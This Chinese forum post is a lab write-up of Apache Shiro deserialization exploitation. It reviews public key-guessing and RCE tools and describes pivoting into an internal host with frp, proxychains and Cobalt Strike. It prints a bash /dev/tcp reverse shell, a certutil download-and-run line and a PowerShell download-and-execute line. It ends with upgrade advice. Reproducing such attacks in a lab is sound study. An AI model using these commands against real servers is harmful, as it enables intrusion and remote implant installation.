安全矩阵

 找回密码
 立即注册
搜索
查看: 3184|回复: 0

框架安全之Shiro渗透复现(下)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-15 09:51:29 | 显示全部楼层 |阅读模式
原文链接:框架安全之Shiro渗透复现(下)
四、Shiro渗透工具介绍
测试靶机地址信息:

Win7搭建:192.168.112.151http://192.168.112.151:8080/shiro/Linux Vulhub

靶机:192.168.112.141http://192.168.112.141:8080
1、shiro反序列化漏洞综合利用工具v1.5
猜解Key和命令执行,对Linux较友好
工具截图:

工具使用:
该工具主要给用于测试,上手简单,将目标地址填入对应栏即可
经测试Windows环境下有点小问题,能猜解Key但是无法命令注入

在Linux下使用体验较好

2、Shiro反序列化回显工具v2.3
猜解Key,效果一般
工具截图:该工具可自行添加Key

工具使用:
上手也是挺简单的,将key文件导入至Key框中,选择默认DNSLOG即可,开始检测。
不过体验时经常会找不到key
3、Shiro命令执行工具-雷石安全实验室
猜解Key,内置117个Key
工具截图:

工具使用:
填入url,点击DNSLOG检测

4、Shiro550/721漏洞检测v2.51
用于外网的Key猜解及getshell,对Linux较友好
工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated
工具截图:

工具使用:
添加目标地址[http://192.168.112.151:8080/shiro/](http://192.168.112.151:8080/shiro/),点击下一步,选择dnslog.cn进行漏洞检测,点击下一步进行猜解。

获取到Key值后,该工具提供了三种方式进行下一步的渗透,具体如下:


反弹Shell(Linux):采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 命令获取shell反弹Shell(Windows):采用 bitsadmin下载指定URL的exe可执行文件执行功能获取shell获取Webshell 在给出的路径中写入webshell,webshell的内容在config目录下的shell.jsp中
这里选择反弹Shell(Linux),下面结合Kali获取到shell,kali端开启监听,在命令行中写入kali的地址及端口号。


选择反弹Shell(Windows)进行尝试,这里先启动了CS、python简易服务器,按照命令格式,输入下载exe文件的url,但是并未成功。看到下面有一行代码,测试直接在装有shiro主机处是否有效。



certutil.exe -urlcache -split -f http://192.168.112.149:8010/Shiro1.exe shell.exe & shell.exe
结果上线CS成功,说明该工具在命令执行这方面还是有点小bug

测试获取Webshell选项,同样是有点小问题。
5、shiro-1.2.4-rce
可用于内网猜解Key,对Linux和Windows都支持较好
这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce
工具地址:https://github.com/zhzyker/shiro-1.2.4-rce)
工具截图:

利用条件:shiro <= 1.2.4
使用延时判断key和gadget,即使目标不出网也可以检测是否存在漏洞。Python脚本需要调用ysoserial-sleep.jar,这里的ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测。该工具具有4个特性
Key可修改添加
具有延时功能
执行的命令使用了Base64编码
区分Linux和Windows
工具使用:
python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/
这里的IP是刚刚在Win7上搭建的环境的IP
选择操作系统,这里选择Windows。如果未知操作系统类型,可以随便选一个,错了再跑一遍即可。
执行calc,远程打开目标主机上的计算器程序。

注意点:这里命令是自动编制执行的,仍可执行,但是无回显
五、内网Shiro渗透|上线CS1、环境配置信息内网主机搭建了shiro框架10.10.10.100内网对外服务器充当一个跳板10.10.10.11192.168.112.157公网服务器用于和内网连接192.168.112.145Kali Linux192.168.112.149
2、实验模拟过程1)获取内网服务器并上线CS
重点在于后面内网主机的获取,这里直接假设获取了服务器的权限并上线了CS

2)建立frp代理


frps.exe -c frps.inifrpc.exe -c frpc.ini
这里设置有点小问题,frps.ini中的bind_addr应该设置为0.0.0.0接收全部地址的请求。但是这里也能进行下去,我思考下

在公网服务器上开启Proxifier代理隧道

3)Kali通过代理使用脚本进行Attack
配置proxychains.conf


vi /etc/proxychains4.conf

执行攻击脚本


proxychains python3 shiro-1.2.4_rce.py http://10.10.10.100:8080/shiro/

成功猜解到加密密钥,得到一个shell框

下一步就是上线CS了
4)创建中转监听器

选择监听器和监听主机(这里的监听主机Host需要改为内网的地址)

5)生成木马

选择中转监听器

6)内网主机上线CS
将该木马文件放到内网服务器目录上(由于这里没有服务器目录,使用开启python简易服务器进行模拟,传输木马文件)


python -m http.server 80

输入命令,上线CS


powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/shiro001.exe','shiro.exe');start-process shiro.exe

遗憾的是这里还是有点小bug,没能复现成功,但基本思路就是这样
六、总结Shiro框架使用了AES对称加密技术,故其加密密钥与解密密钥一致,并且密钥是硬编码在代码中的,容易获取。也就是说在获取了密钥之后可以通过构建恶意的Cookie获取权限执行攻击命令,得到root权限。解决措施就是升级Shiro版本至shiro1.2.5以上。而对于最近出现的shiro权限绕过漏洞,应需尽量避免使用*通配符作为动态路由拦截器的URL路径表达式或者升级shiro至1.5.2版本以上。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 08:00 , Processed in 0.013417 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表